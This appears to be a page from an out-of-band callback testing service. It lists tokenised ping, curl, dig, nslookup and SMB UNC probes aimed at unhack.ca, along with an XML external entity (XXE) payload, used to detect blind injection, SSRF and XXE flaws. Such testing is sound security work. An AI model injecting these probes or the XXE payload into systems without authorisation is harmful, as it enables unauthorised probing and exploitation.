$ ping -c1 -p 00b7683482f68dd3317d5287600d2600 unhack.ca
$ curl http://unhack.ca/p/b7683482f68dd3317d5287600d26
$ dig b7683482f68dd3317d5287600d26 @unhack.ca
$ dig b7683482f68dd3317d5287600d26.ns.unhack.ca
C:\> nslookup b7683482f68dd3317d5287600d26 unhack.ca
C:\> type \\unhack.ca\b7683482f68dd3317d5287600d26\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/b7683482f68dd3317d5287600d26">]>
<foo>&xxe;</foo>
Waiting for ping...